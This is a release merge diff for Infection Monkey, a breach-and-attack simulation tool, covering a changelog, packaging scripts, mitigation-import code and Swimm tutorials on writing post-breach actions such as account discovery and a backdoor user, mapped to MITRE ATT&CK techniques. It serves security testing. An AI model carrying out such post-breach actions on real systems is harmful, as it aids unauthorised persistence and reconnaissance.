Merge branch 'release/1.12.0'

This commit is contained in:
Mike Salvatore 2021-10-29 09:01:22 -04:00
commit 67c87e044b
358 changed files with 10832 additions and 16973 deletions

View File

@ -5,6 +5,7 @@ exclude = monkey/monkey_island/cc/ui,vulture_allowlist.py
show-source = True
max-complexity = 10
max-line-length = 100
per-file-ignores = __init__.py:F401
### ignore "whitespace before ':'", "line break before binary operator" for
### compatibility with black, and cyclomatic complexity (for now).

3
.gitmodules vendored
View File

@ -1,6 +1,3 @@
[submodule "monkey/monkey_island/cc/services/attack/attack_data"]
path = monkey/monkey_island/cc/services/attack/attack_data
url = https://github.com/guardicore/cti
[submodule "docs/themes/learn"]
path = docs/themes/learn
url = https://github.com/guardicode/hugo-theme-learn.git

View File

@ -44,10 +44,6 @@ repos:
files: "monkey/"
exclude: "monkey/monkey_island/cc/ui"
stages: [push]
- repo: https://github.com/swimmio/pre-commit
rev: v0.2
hooks:
- id: swimm-verify
- repo: https://github.com/jendrikseipp/vulture
rev: v2.3
hooks:

View File

@ -15,9 +15,6 @@
},
{
"type": "snippet",
"path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
"comments": [],
"firstLineNumber": 56,
"lines": [
" \"Removes the file afterwards.\",",
" \"attack_techniques\": [\"T1166\"],",
@ -26,7 +23,7 @@
"+ # Swimmer: ADD DETAILS HERE!",
"* \"type\": \"string\",",
"* \"enum\": [\"ScheduleJobs\"],",
"* \"title\": \"Job scheduling\",",
"* \"title\": \"Job Scheduling\",",
"* \"safe\": True,",
"* \"info\": \"Attempts to create a scheduled job on the system and remove it.\",",
"* \"attack_techniques\": [\"T1168\", \"T1053\"],",
@ -34,7 +31,10 @@
" {",
" \"type\": \"string\",",
" \"enum\": [\"Timestomping\"],"
]
],
"firstLineNumber": 52,
"path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
"comments": []
},
{
"type": "text",
@ -42,11 +42,11 @@
}
],
"symbols": {},
"file_version": "2.0.1",
"file_version": "2.0.3",
"meta": {
"app_version": "0.4.1-1",
"app_version": "0.5.7-0",
"file_blobs": {
"monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "ea9b18aba7f71da12c9c82ac39d8a0cf2c472a9c"
"monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "7d62ac36e875ca3c249d808250cb3268e4d3d68d"
}
}
}

View File

@ -77,10 +77,9 @@
" \"attack_techniques\": [\"T1082\"],",
" },",
"* {",
"+ # SWIMMER: Collector config goes here. Tip: Hostname collection relates to the T1082 and T1016 techniques.",
"* \"type\": \"string\",",
"* \"enum\": [HOSTNAME_COLLECTOR],",
"* \"title\": \"Hostname collector\",",
"* \"title\": \"Hostname Collector\",",
"* \"safe\": True,",
"* \"info\": \"Collects machine's hostname.\",",
"* \"attack_techniques\": [\"T1082\", \"T1016\"],",
@ -110,7 +109,7 @@
"type": "snippet",
"path": "monkey/monkey_island/cc/services/config_schema/monkey.py",
"comments": [],
"firstLineNumber": 92,
"firstLineNumber": 91,
"lines": [
" \"default\": [",
" ENVIRONMENT_COLLECTOR,",
@ -195,14 +194,14 @@
}
],
"symbols": {},
"file_version": "2.0.1",
"file_version": "2.0.3",
"meta": {
"app_version": "0.4.4-0",
"app_version": "0.5.7-0",
"file_blobs": {
"monkey/common/common_consts/system_info_collectors_names.py": "175a054e1408805a4cebbe27e2f9616db40988cf",
"monkey/infection_monkey/system_info/collectors/hostname_collector.py": "0aeecd9fb7bde83cccd4501ec03e0da199ec5fc3",
"monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": "9a4a39050eb088876df4fa629e14faf820e714a0",
"monkey/monkey_island/cc/services/config_schema/monkey.py": "e745da5828c63e975625ac2e9b80ce9626324970",
"monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": "072640352fc9d50fe09752cfc951dab7d99271af",
"monkey/monkey_island/cc/services/config_schema/monkey.py": "da06123a95eebf7f0a68861815ee644bb37c8db6",
"monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py": "e2de4519cbd71bba70e81cf3ff61817437d95a21",
"monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py": "7ce4b6fcfbce0d6cd8a60297213c5be1699b22df"
}

View File

@ -0,0 +1,87 @@
{
"id": "afMu3y3ny5lnrYFWl3EI",
"name": "Add a new Post Breach Action (PBA)",
"task": {
"dod": "You should add a new PBA to the Monkey which discovers all user accounts on the machine.",
"tests": [],
"hints": [
"See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.",
"Make sure to add the PBA to the configuration as well.",
"MITRE ATT&CK technique T1087 articulates that adversaries may attempt to get a listing of accounts on a system or within an environment which can help them determine which accounts can aid in follow-on behavior. Therefore, the AccountDiscovery PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report."
]
},
"content": [
{
"type": "text",
"text": "Read our [documentation](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/) about adding a new PBA.\n\nAfter that we want you to add the AccountDiscovery PBA. The commands that add users for Windows and Linux can be retrieved from \\`get\\_commands\\_to\\_discover\\_accounts\\` — make sure you see how to use this function correctly.\n\nNote that the PBA should impact the T1087 MITRE technique as well.\n\n**Manual test to confirm**\n--------------------------\n\n1. Run the Monkey Island.\n \n2. Make sure your new PBA is enabled by default in the config. For this test, disable network scanning, exploiting, and all other PBAs.\n \n3. Run the Monkey Agent.\n \n4. See the PBA in the security report and in the MITRE report under the relevant technique."
},
{
"type": "snippet",
"lines": [
" POST_BREACH_JOB_SCHEDULING = \"Schedule jobs\"",
" POST_BREACH_TIMESTOMPING = \"Modify files' timestamps\"",
" POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = \"Signed script proxy execution\"",
"*POST_BREACH_ACCOUNT_DISCOVERY = \"Account discovery\"",
"+# SWIMMER: Put the new const here!",
" POST_BREACH_CLEAR_CMD_HISTORY = \"Clear command history\""
],
"firstLineNumber": 7,
"path": "monkey/common/common_consts/post_breach_consts.py",
"comments": []
},
{
"type": "snippet",
"lines": [
" ",
" class AccountDiscovery(PBA):",
" def __init__(self):",
"* linux_cmds, windows_cmds = get_commands_to_discover_accounts()",
"+ # SWIMMER: Implement here!",
"* super().__init__(",
"+ pass",
"* POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds",
"* )"
],
"firstLineNumber": 7,
"path": "monkey/infection_monkey/post_breach/actions/discover_accounts.py",
"comments": []
},
{
"type": "snippet",
"lines": [
" \"with the help of a pre-existing signed script.\",",
" \"attack_techniques\": [\"T1216\"],",
" },",
"* {",
"+ # SWIMMER: Add details here!",
"* \"type\": \"string\",",
"* \"enum\": [\"AccountDiscovery\"],",
"* \"title\": \"Account Discovery\",",
"* \"safe\": True,",
"* \"info\": \"Attempts to get a listing of user accounts on the system.\",",
"* \"attack_techniques\": [\"T1087\"],",
"* },",
" {",
" \"type\": \"string\",",
" \"enum\": [\"ClearCommandHistory\"],"
],
"firstLineNumber": 80,
"path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
"comments": []
},
{
"type": "text",
"text": "Many PBAs use shell commands or scripts — see `Timestomping` and `AccountDiscovery`.\n\nOn the other hand, some are less straightforward. You can override functions and implement new classes depending on what is required, to implement complicated PBAs — see `SignedScriptProxyExecution` and `ModifyShellStartupFiles`. \n \n\nThis PBA, along with the others, will run on a system after it has been breached. The purpose of this code is to test whether target systems allow attackers to gather details about all the user accounts that are present on a system or in an environment."
}
],
"symbols": {},
"file_version": "2.0.3",
"meta": {
"app_version": "0.5.7-0",
"file_blobs": {
"monkey/common/common_consts/post_breach_consts.py": "01d31448269e5581dbe0176c289f7dd36cc5854f",
"monkey/infection_monkey/post_breach/actions/discover_accounts.py": "8fdebd0df97655e4cba3aebcdcf3c5ed1d1b6cbd",
"monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "88a3e8cb59fb0d1c07c9487bcb4eaab7b8087d84"
}
}
}

View File

@ -1,122 +0,0 @@
{
"id": "tbxb2cGgUiJQ8Btma0fp",
"name": "Add a simple Post Breach action",
"task": {
"dod": "You should add a new PBA to the Monkey which creates a new user on the machine.",
"tests": [],
"hints": [
"See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.",
"Make sure to add the PBA to the configuration as well.",
"MITRE ATT&CK technique T1136 articulates that adversaries may create an account to maintain access to victim systems, therefore, the BackdoorUser PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report."
]
},
"content": [
{
"type": "text",
"text": "Read [our documentation about adding a new PBA](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/).\n\nAfter that we want you to add the BackdoorUser PBA. The commands that add users for Win and Linux can be retrieved from `get_commands_to_add_user` - make sure you see how to use this function correctly. \n\nNote that the PBA should impact the T1136 MITRE technique as well! \n\n# Manual test to confirm\n\n1. Run the Monkey Island\n2. Make sure your new PBA is enabled by default in the config - for this test, disable network scanning, exploiting, and all other PBAs\n3. Run Monkey\n4. See the PBA in the security report\n5, See the PBA in the MITRE report in the relevant technique\n"
},
{
"type": "snippet",
"path": "monkey/common/common_consts/post_breach_consts.py",
"comments": [],
"firstLineNumber": 1,
"lines": [
" POST_BREACH_COMMUNICATE_AS_NEW_USER = \"Communicate as new user\"",
"*POST_BREACH_BACKDOOR_USER = \"Backdoor user\"",
"+# Swimmer: PUT THE NEW CONST HERE!",
" POST_BREACH_FILE_EXECUTION = \"File execution\"",
" POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = \"Modify shell startup file\"",
" POST_BREACH_HIDDEN_FILES = \"Hide files and directories\""
]
},
{
"type": "snippet",
"path": "monkey/infection_monkey/post_breach/actions/add_user.py",
"comments": [],
"firstLineNumber": 1,
"lines": [
"*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER",
"*from infection_monkey.config import WormConfiguration",
"*from infection_monkey.post_breach.pba import PBA",
"*from infection_monkey.utils.random_password_generator import get_random_password",
"*from infection_monkey.utils.users import get_commands_to_add_user",
"*",
"*",
"*class BackdoorUser(PBA):",
"* def __init__(self):",
"* random_password = get_random_password()",
"*",
"* linux_cmds, windows_cmds = get_commands_to_add_user(",
"* WormConfiguration.user_to_add, random_password",
"* )",
"*",
"* super(BackdoorUser, self).__init__(",
"* POST_BREACH_BACKDOOR_USER, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds",
"* )"
]
},
{
"type": "snippet",
"path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py",
"comments": [],
"firstLineNumber": 1,
"lines": [
" from common.common_consts.post_breach_consts import (",
"* POST_BREACH_BACKDOOR_USER,",
" POST_BREACH_COMMUNICATE_AS_NEW_USER,",
" )"
]
},
{
"type": "snippet",
"path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py",
"comments": [],
"firstLineNumber": 12,
"lines": [
" unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"",
" scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"",
" used_msg = \"Monkey created a new user on the network's systems.\"",
"* pba_names = [POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER]",
"+ pba_names = [POST_BREACH_COMMUNICATE_AS_NEW_USER]"
]
},
{
"type": "snippet",
"path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
"comments": [],
"firstLineNumber": 5,
"lines": [
" \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",",
" \"type\": \"string\",",
" \"anyOf\": [",
"* {",
"+ # Swimmer: Add new PBA here to config!",
"* \"type\": \"string\",",
"* \"enum\": [\"BackdoorUser\"],",
"* \"title\": \"Back door user\",",
"* \"safe\": True,",
"* \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",",
"* \"attack_techniques\": [\"T1136\"],",
"* },",
" {",
" \"type\": \"string\",",
" \"enum\": [\"CommunicateAsNewUser\"],"
]
},
{
"type": "text",
"text": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... "
}
],
"symbols": {},
"file_version": "2.0.1",
"meta": {
"app_version": "0.4.4-0",
"file_blobs": {
"monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3",
"monkey/infection_monkey/post_breach/actions/add_user.py": "26b048a492fcb6d319fc0c01d2f4a0bd302ecbc8",
"monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "dfc5945a362b88c1135f4476526c6c82977b02ee",
"monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "086dc85693ae02ddfa106099245c0f155139805c"
}
}
}

View File

@ -80,9 +80,10 @@ script:
# verify swimm
- cd $TRAVIS_BUILD_DIR
- curl -L https://github.com/swimmio/SwimmReleases/releases/download/v0.5.0-0/swimm-cli.js --output swimm_cli
- node swimm_cli --version
- node swimm_cli verify
- curl -L https://github.com/swimmio/SwimmReleases/releases/latest/download/packed-swimm-linux-cli --output swimm-cli
- chmod u+x swimm-cli
- ./swimm-cli --version
- ./swimm-cli verify
after_success:
# Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information

View File

@ -5,6 +5,72 @@ file.
The format is based on [Keep a
Changelog](https://keepachangelog.com/en/1.0.0/).
## [1.12.0] - 2021-10-27
### Added
- A new exploiter that allows propagation via PowerShell Remoting. #1246
- A warning regarding antivirus when agent binaries are missing. #1450
- A deployment.json file to store the deployment type. #1205
### Changed
- The name of the "Communicate as new user" post-breach action to "Communicate
as backdoor user". #1410
- Resetting login credentials also cleans the contents of the database. #1495
- ATT&CK report messages (more accurate now). #1483
- T1086 (PowerShell) now also reports if ps1 scripts were run by PBAs. #1513
- ATT&CK report messages to include internal config options as reasons
for unscanned attack techniques. #1518
### Removed
- Internet access check on agent start. #1402
- The "internal.monkey.internet_services" configuration option that enabled
internet access checks. #1402
- Disused traceroute binaries. #1397
- "Back door user" post-breach action. #1410
- Stale code in the Windows system info collector that collected installed
packages and WMI info. #1389
- Insecure access feature in the Monkey Island. #1418
- The "deployment" field from the server_config.json. #1205
- The "Execution through module load" ATT&CK technique,
since it can no longer be exercise with current code. #1416
- Browser window pop-up when Monkey Island starts on Windows. #1428
### Fixed
- Misaligned buttons and input fields on exploiter and network configuration
pages. #1353
- Credentials shown in plain text on configuration screens. #1183
- Crash when unexpected character encoding is used by ping command on German
language systems. #1175
- Malfunctioning timestomping PBA. #1405
- Malfunctioning shell startup script PBA. #1419
- Trap command produced no output. #1406
- Overlapping Guardicore logo in the landing page. #1441
- PBA table collapse in security report on data change. #1423
- Unsigned Windows agent binaries in Linux packages are now signed. #1444
- Some of the gathered credentials no longer appear in plaintext in the
database. #1454
- Encryptor breaking with UTF-8 characters. (Passwords in different languages
can be submitted in the config successfully now.) #1490
- Mimikatz collector no longer fails if Azure credential collector is disabled.
#1512, #1493
- Unhandled error when "modify shell startup files PBA" is unable to find
regular users. #1507
- ATT&CK report bug that showed different techniques' results under a technique
if the PBA behind them was the same. #1514
- ATT&CK report bug that said that the technique "`.bash_profile` and
`.bashrc`" was not attempted when it actually was attempted but failed. #1511
- Bug that periodically cleared the telemetry table's filter. #1392
- Crashes, stack traces, and other malfunctions when data from older versions
of Infection Monkey is present in the data directory. #1114
- Broken update links. #1524
### Security
- Generate a random password when creating a new user for CommunicateAsNewUser
PBA. #1434
- Credentials gathered from victim machines are no longer stored plaintext in
the database. #1454
- Encrypt the database key with user's credentials. #1463
## [1.11.0] - 2021-08-13
### Added
- A runtime-configurable option to specify a data directory where runtime
@ -22,7 +88,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- Select Logger configuration at runtime. #971
- Select `mongo_key.bin` file location at runtime. #994
- Store Monkey agents in the configurable data_dir when monkey is "run from the
island". #997
- island". #997
- Reformat all code using black. #1070
- Sort all imports using isort. #1081
- Address all flake8 issues. #1071
@ -35,8 +101,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
instead of $HOME. #1143
- Put environment config options in `server_config.json` into a separate
section named "environment". #1161
- Automatically register if BlackBox tests are run on a fresh installation.
#1180
- Automatically register if BlackBox tests are run on a fresh
installation. #1180
- Limit the ports used for scanning in blackbox tests. #1368
- Limit the propagation depth of most blackbox tests. #1400
- Wait less time for monkeys to die when running BlackBox tests. #1400

View File

@ -25,5 +25,7 @@ do
fi
done
export PYTHONNOUSERSITE=1
(PYTHONHOME="${APPDIR}/opt/python3.7" exec "${APPDIR}/opt/python3.7/bin/python3.7" "${APPDIR}/usr/src/monkey_island.py" $@)
exit "$?"

View File

@ -1,7 +1,7 @@
#!/bin/bash
LINUXDEPLOY_URL="https://github.com/linuxdeploy/linuxdeploy/releases/download/continuous/linuxdeploy-x86_64.AppImage"
PYTHON_VERSION="3.7.11"
PYTHON_VERSION="3.7.12"
PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage"
APPIMAGE_DIR="$(realpath $(dirname $BASH_SOURCE[0]))"
APPDIR="$APPIMAGE_DIR/squashfs-root"
@ -27,6 +27,7 @@ install_package_specific_build_prereqs() {
setup_build_dir() {
local agent_binary_dir=$1
local monkey_repo=$2
local deployment_type=$3
pushd $APPIMAGE_DIR
@ -36,6 +37,7 @@ setup_build_dir() {
copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$BUILD_DIR"
copy_server_config_to_build_dir
modify_deployment "$deployment_type" "$BUILD_DIR"
add_agent_binaries_to_build_dir "$agent_binary_dir" "$BUILD_DIR"
install_monkey_island_python_dependencies
@ -102,12 +104,18 @@ remove_python_appdir_artifacts() {
}
build_package() {
local version=$1
local dist_dir=$2
local commit_id=$2
local dist_dir=$3
log_message "Building AppImage"
pushd "$APPIMAGE_DIR"
if [ -n "$1" ]; then
local version="v$1"
else
local version="$commit_id"
fi
pushd "$APPIMAGE_DIR"
ARCH="x86_64" linuxdeploy \
--appdir "$APPIMAGE_DIR/squashfs-root" \
--icon-file "$ICON_PATH" \
@ -116,17 +124,12 @@ build_package() {
--deploy-deps-only="$MONGO_PATH/bin/mongod"\
--output appimage
apply_version_to_appimage "$version"
move_package_to_dist_dir $dist_dir
dst_name="InfectionMonkey-$version.AppImage"
move_package_to_dist_dir $dist_dir $dst_name
popd
}
apply_version_to_appimage() {
log_message "Renaming Infection_Monkey-x86_64.AppImage -> Infection_Monkey-$1-x86_64.AppImage"
mv "Infection_Monkey-x86_64.AppImage" "Infection_Monkey-$1-x86_64.AppImage"
}
move_package_to_dist_dir() {
mv Infection_Monkey*.AppImage "$1/"
mv Infection*Monkey*.AppImage "$1/$2"
}

View File

@ -8,5 +8,5 @@ APPIMAGE_DIR="$(realpath $(dirname $BASH_SOURCE[0]))"
rm -rf "$HOME/git/monkey"
rm -rf "$HOME/.monkey_island"
rm -rf "$APPIMAGE_DIR/squashfs-root"
rm "$APPIMAGE_DIR"/Infection_Monkey*x86_64.AppImage
rm "$APPIMAGE_DIR/../dist/Infection_Monkey*x86_64.AppImage"
rm "$APPIMAGE_DIR"/Infection_Monkey*.AppImage
rm "$APPIMAGE_DIR/../dist/InfectionMonkey*.AppImage"

View File

@ -1,6 +1,6 @@
[Desktop Entry]
Type=Application
Name=Infection Monkey
Name=InfectionMonkey
Exec=bash
Comment=An automated breach and attack simulation platform
Icon=monkey-icon

View File

@ -2,8 +2,7 @@
"data_dir": "~/.monkey_island",
"log_level": "DEBUG",
"environment": {
"server_config": "password",
"deployment": "standard"
"server_config": "password"
},
"mongodb": {
"start_mongodb": true

View File

@ -20,6 +20,7 @@ exit_if_missing_argument() {
echo_help() {
echo "usage: build_package.sh [--help] [--agent-binary-dir <PATH>] [--branch <BRANCH>]"
echo " [--monkey-repo <PATH>] [--version <MONKEY_VERSION>]"
echo " [--deployment <DEPLOYMENT_TYPE>]"
echo ""
echo "Creates a package for Infection Monkey."
echo ""
@ -43,7 +44,9 @@ echo_help() {
echo " (Default: $DEFAULT_REPO_MONKEY_HOME)"
echo ""
echo "--version A version number for the package."
echo " (Default: dev)"
echo ""
echo "--deployment A deployment type for the package."
echo " (Default: develop)"
echo ""
echo "--package Which package to build (\"appimage\" or \"docker.\")"
@ -72,15 +75,6 @@ install_nodejs() {
sudo apt-get install -y nodejs
}
install_common_build_prereqs() {
sudo apt-get update
sudo apt-get upgrade -y
# monkey island prereqs
sudo apt-get install -y curl libcurl4 openssl git build-essential moreutils
install_nodejs
}
is_valid_git_repo() {
pushd "$1" 2>/dev/null || return 1
git status >/dev/null 2>&1
@ -115,9 +109,9 @@ agent_binary_dir=""
as_root=false
branch="develop"
monkey_repo="$DEFAULT_REPO_MONKEY_HOME"
monkey_version="dev"
monkey_version=""
package=""
deployment_type=""
while (( "$#" )); do
case "$1" in
@ -152,6 +146,12 @@ while (( "$#" )); do
monkey_version=$2
shift 2
;;
--deployment)
exit_if_missing_argument "$1" "$2"
deployment_type=$2
shift 2
;;
--package)
exit_if_missing_argument "$1" "$2"
@ -197,8 +197,9 @@ install_build_prereqs
install_package_specific_build_prereqs "$WORKSPACE"
setup_build_dir "$agent_binary_dir" "$monkey_repo"
build_package "$monkey_version" "$DIST_DIR"
setup_build_dir "$agent_binary_dir" "$monkey_repo" "$deployment_type"
commit_id=$(get_commit_id "$monkey_repo")
build_package "$monkey_version" "$commit_id" "$DIST_DIR"
log_message "Finished building package: $package"
exit 0

View File

@ -15,6 +15,13 @@ copy_monkey_island_to_build_dir() {
"$src"/monkey_island "$build_dir/"
}
modify_deployment() {
if [ -n "$1" ]; then
local deployment_file_path="$2/monkey_island/cc/deployment.json"
echo -e "{\n \"deployment\": \"$1\"\n}" > $deployment_file_path
fi
}
add_agent_binaries_to_build_dir() {
local agent_binary_dir=$1
local island_binaries_path="$2/monkey_island/cc/binaries/"
@ -86,3 +93,8 @@ remove_node_modules() {
rm -rf "$1/node_modules"
rm -rf "$1/.npm"
}
get_commit_id() {
local monkey_repo=$1
echo $(git -C "$monkey_repo" rev-parse --short HEAD)
}

View File

@ -1,21 +1,4 @@
# Infection Monkey
How to run Monkey Island from the docker file:
Note: Ports 5000 and 5001 must be available for the island to work.
## Setup
Run the following commands:
```sh
sudo docker load -i dk.monkeyisland.MONKEY_VER_PLACEHOLDER.tar
sudo docker pull mongo:4.2
sudo mkdir -p /var/monkey-mongo/data/db
sudo docker run --name monkey-mongo --network=host -v /var/monkey-mongo/data/db:/data/db -d mongo:4.2
sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:MONKEY_VER_PLACEHOLDER
```
## Start Infecting
Open `https://<Server IP>:5000` using Google Chrome and follow the instructions. You can also visit [the Infection Monkey website](https://infectionmonkey.com) and read the in-depth Getting Started guides.
For instructions on setting up the Infection Monkey Docker container, see
[https://www.guardicore.com/infectionmonkey/docs/setup/docker/](https://www.guardicore.com/infectionmonkey/docs/setup/docker/).

View File

@ -18,6 +18,7 @@ COPY --from=builder /monkey /monkey
WORKDIR /monkey
EXPOSE 5000
EXPOSE 5001
ENV MONKEY_DOCKER_CONTAINER=true
RUN groupadd -r monkey-island && useradd --no-log-init -r -g monkey-island monkey-island
RUN chmod 444 /monkey/monkey_island/cc/server.key
RUN chmod 444 /monkey/monkey_island/cc/server.csr

View File

@ -1,5 +1,4 @@
DOCKER_DIR="$(realpath $(dirname $BASH_SOURCE[0]))"
OUTPUT_NAME_TGZ="$DOCKER_DIR/infection_monkey_docker_$(date +%Y%m%d_%H%M%S).tgz"
source "$DOCKER_DIR/../common.sh"
@ -18,6 +17,7 @@ setup_build_dir() {
copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$build_dir"
copy_server_config_to_build_dir "$build_dir"
modify_deployment "$deployment_type" "$build_dir"
add_agent_binaries_to_build_dir "$agent_binary_dir" "$build_dir"
generate_ssl_cert "$build_dir"
@ -36,16 +36,25 @@ copy_server_config_to_build_dir() {
build_package() {
local version=$1
local dist_dir=$2
local commit_id=$2
local dist_dir=$3
pushd ./docker
if [ -n "$1" ]; then
version="v$version"
else
version="$commit_id"
fi
docker_image_name="guardicore/monkey-island:$version"
tar_name="$DOCKER_DIR/dk.monkeyisland.$version.tar"
tar_name="$DOCKER_DIR/InfectionMonkey-docker-$version.tar"
build_docker_image_tar "$docker_image_name" "$tar_name"
build_docker_image_tgz "$tar_name" "$version"
move_package_to_dist_dir $dist_dir
tgz_name="$DOCKER_DIR/InfectionMonkey-docker-$version.tgz"
build_docker_image_tgz "$tar_name" "$tgz_name"
move_package_to_dist_dir $tgz_name $dist_dir
popd
}
@ -59,9 +68,9 @@ build_docker_image_tgz() {
mkdir tgz
mv "$1" ./tgz
cp ./DOCKER_README.md ./tgz/README.md
tar -C ./tgz -cvf "$OUTPUT_NAME_TGZ" --gzip .
tar -C ./tgz -cvf "$2" --gzip .
}
move_package_to_dist_dir() {
mv $OUTPUT_NAME_TGZ "$1/"
mv "$1" "$2/"
}

View File

@ -2,8 +2,7 @@
"data_dir": "/monkey_island_data",
"log_level": "DEBUG",
"environment": {
"server_config": "password",
"deployment": "docker"
"server_config": "password"
},
"mongodb": {
"start_mongodb": false

View File

@ -37,10 +37,6 @@ export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/down
export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe"
# Other binaries for monkey
export TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/traceroute64"
export TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/traceroute32"
export SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner64.so"
export SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner32.so"

View File

@ -24,8 +24,6 @@ $SAMBA_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner32.so"
$SAMBA_32_BINARY_NAME = "sc_monkey_runner32.so"
$SAMBA_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner64.so"
$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
$TRACEROUTE_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "traceroute64"
$TRACEROUTE_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "traceroute32"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = Join-Path "\monkey" -ChildPath "monkey_island"

View File

@ -227,16 +227,6 @@ else
curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner64.so ${SAMBACRY_64_BINARY_URL}
curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner32.so ${SAMBACRY_32_BINARY_URL}
fi
# Download traceroute binaries
log_message "Downloading traceroute binaries"
# shellcheck disable=SC2086
if exists wget; then
wget -c -N -P "${MONKEY_BIN_DIR}" ${TRACEROUTE_64_BINARY_URL}
wget -c -N -P "${MONKEY_BIN_DIR}" ${TRACEROUTE_32_BINARY_URL}
else
curl -o ${MONKEY_BIN_DIR}/traceroute64 ${TRACEROUTE_64_BINARY_URL}
curl -o ${MONKEY_BIN_DIR}/traceroute32 ${TRACEROUTE_32_BINARY_URL}
fi
# Download Swimm
log_message "Downloading swimm"

View File

@ -0,0 +1,65 @@
from typing import Dict
from mongoengine import Document, EmbeddedDocument, EmbeddedDocumentField, ListField, StringField
from stix2 import AttackPattern, CourseOfAction
class Mitigation(EmbeddedDocument):
name = StringField(required=True)
description = StringField(required=True)
url = StringField()
@staticmethod
def get_from_stix2_data(mitigation: CourseOfAction):
name = mitigation["name"]
description = mitigation["description"]
url = get_stix2_external_reference_url(mitigation)
return Mitigation(name=name, description=description, url=url)
class AttackMitigations(Document):
technique_id = StringField(required=True, primary_key=True)
mitigations = ListField(EmbeddedDocumentField("Mitigation"))
def add_mitigation(self, mitigation: CourseOfAction):
mitigation_external_ref_id = get_stix2_external_reference_id(mitigation)
if mitigation_external_ref_id.startswith("M"):
self.mitigations.append(Mitigation.get_from_stix2_data(mitigation))
def add_no_mitigations_info(self, mitigation: CourseOfAction):
mitigation_external_ref_id = get_stix2_external_reference_id(mitigation)
if mitigation_external_ref_id.startswith("T") and len(self.mitigations) == 0:
mitigation_mongo_object = Mitigation.get_from_stix2_data(mitigation)
mitigation_mongo_object["description"] = mitigation_mongo_object[
"description"
].splitlines()[0]
mitigation_mongo_object["url"] = ""
self.mitigations.append(mitigation_mongo_object)
@staticmethod
def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]):
return {
key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern)
for key, attack_pattern in stix2_dict.items()
}
@staticmethod
def mitigations_from_attack_pattern(attack_pattern: AttackPattern):
return AttackMitigations(
technique_id=get_stix2_external_reference_id(attack_pattern),
mitigations=[],
)
def get_stix2_external_reference_url(stix2_data) -> str:
for reference in stix2_data["external_references"]:
if "url" in reference:
return reference["url"]
return ""
def get_stix2_external_reference_id(stix2_data) -> str:
for reference in stix2_data["external_references"]:
if reference["source_name"] == "mitre-attack" and "external_id" in reference:
return reference["external_id"]
return ""

View File

@ -0,0 +1,184 @@
import argparse
import json
import subprocess
import time
from pathlib import Path
from typing import Dict, List
import mongoengine
import pymongo
from attack_mitigations import AttackMitigations
from bson import json_util
from stix2 import AttackPattern, CourseOfAction, FileSystemSource, Filter
